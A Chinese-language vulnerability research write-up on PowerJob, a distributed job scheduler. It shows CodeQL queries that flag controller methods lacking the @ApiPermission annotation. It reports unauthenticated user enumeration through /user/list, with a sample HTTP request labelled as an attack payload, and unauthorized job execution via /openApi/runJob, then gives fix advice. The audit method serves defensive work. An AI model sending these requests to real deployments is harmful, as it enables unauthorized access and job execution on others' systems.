PowerJob IDOR 0Day 挖掘
字数 1329 2025-10-01 14:05:44
PowerJob IDOR 0Day 挖掘与分析教学文档
1. 背景介绍
PowerJob 是一款知名的国产分布式任务调度中间件。本文档针对其 IDOR(不安全的直接对象引用)漏洞进行技术分析,重点讲解鉴权机制的缺陷与漏洞挖掘方法。
2. 鉴权分析
2.1 核心鉴权机制
PowerJob 使用 @ApiPermission 注解进行接口权限控制,通过 requiredPermission 字段定义权限级别。权限定义如下:
| 权限级别 | 数值 | 描述 |
|---|---|---|
| NONE | 1 | 不需要权限 |
| READ | 10 | 读权限,查看控制台数据 |
| WRITE | 20 | 写权限,新增/修改任务等 |
| OPS | 30 | 运维权限,比如任务的执行 |
| SU | 100 | 超级权限 |
2.2 鉴权特点
- 相同权限级别的资源间不存在隔离机制
- 主要风险在于垂直越权(低权限用户访问高权限功能)
3. CodeQL 脚本编写
3.1 基础谓词定义
predicate isController(Method m) {
exists(Annotation a |
a.getType().hasQualifiedName("org.springframework.web.bind.annotation", "GetMapping") or
a.getType().hasQualifiedName("org.springframework.web.bind.annotation", "PostMapping") or
a.getType().hasQualifiedName("org.springframework.web.bind.annotation", "RequestMapping") or
a.getType().hasQualifiedName("org.springframework.web.bind.annotation", "PutMapping") or
a.getType().hasQualifiedName("org.springframework.web.bind.annotation", "DeleteMapping")
| a = m.getAnAnnotation()
)
}
predicate hasApiPermission(Method m) {
exists(Annotation a|
a.getType().hasQualifiedName("tech.powerjob.server.auth.interceptor", "ApiPermission")
| a = m.getAnAnnotation()
)
}
3.2 特定控制器过滤
排除认证和测试接口:
predicate isSpecController(Method m) {
isController(m) and
not m.getDeclaringType().hasName("AuthController") and
not m.getDeclaringType().hasName("TestController")
}
3.3 完整查询语句
/**
* @name Controller methods missing security annotations
* @description Finds controller methods that lack ApiPermission annotation
* @kind problem
* @problem.severity warning
* @id java/controller/missing-security
*/
import java
from Method m
where isSpecController(m) and not hasApiPermission(m)
select m, "Controller method '" + m.getName() + "' is missing ApiPermission annotation"
4. 漏洞发现
4.1 UserInfoController#list 漏洞
位置: tech.powerjob.server.web.controller.UserInfoController#list
漏洞代码:
@GetMapping("/list")
public ResultDTO<List<UserBaseVO>> list(@RequestParam(required = false) String name) {
List<UserInfoDO> result;
if (StringUtils.isEmpty(name)) {
result = userInfoRepository.findAll();
}else {
result = userInfoRepository.findByUsernameLike("%" + name + "%");
}
return ResultDTO.success(convert(result));
}
漏洞描述:
- 接口未添加
@ApiPermission注解 - 允许未授权用户枚举系统所有用户名
- 属于垂直越权漏洞
攻击Payload:
GET /user/list HTTP/1.1
Host: localhost:7700
sec-ch-ua: "Chromium";v="140", "Not=A?Brand";v="24", "Google Chrome";v="140"
AppId: null
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: application/json, text/plain, */*
Sec-Fetch-Mode: cors
sec-ch-ua-mobile: ?0
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Sec-Fetch-Dest: empty
Referer: http://localhost:7700/
Sec-Fetch-Site: same-origin
4.2 OpenAPIController 漏洞集
位置: tech.powerjob.server.openapi.OpenAPIController
受影响接口:
/openApi/runJob- 未授权执行任务- 其他类似接口存在相同问题
漏洞影响:
- 允许攻击者修改和执行他人的调度任务
- 危害等级:高危
5. 漏洞修复建议
- 为所有控制器接口添加合适的
@ApiPermission注解 - 实施最小权限原则,为每个接口分配最低必要权限
- 增加水平权限检查,确保用户只能访问自己权限范围内的资源
- 定期进行安全审计,使用CodeQL等工具进行自动化检测
6. 总结
- 内网服务安全性:内网服务往往在功能性优先的情况下忽视安全性,鉴权功能是审计重点
- 审计方法论:使用CodeQL进行自动化漏洞挖掘是有效的审计方法
- 模式复用:类似的审计方法可用于其他调度框架(如XXL-Job)的安全检测
- 漏洞类型:虽然某些漏洞看似"鸡肋",但仍属于安全缺陷,需要及时修复
附录:技术要点
-
CodeQL数据库创建命令:
codeql database create cq-db --language=java \ --command="mvn clean install -DskipTests -Drat.skip=true" \ --source-root=. --overwrite -
项目地址: https://github.com/PowerJob/PowerJob
-
漏洞类型: IDOR(不安全的直接对象引用)、垂直越权
通过本教学文档,安全研究人员可以掌握使用CodeQL进行Java Web应用权限漏洞挖掘的方法,并了解PowerJob框架的具体安全缺陷及其修复方案。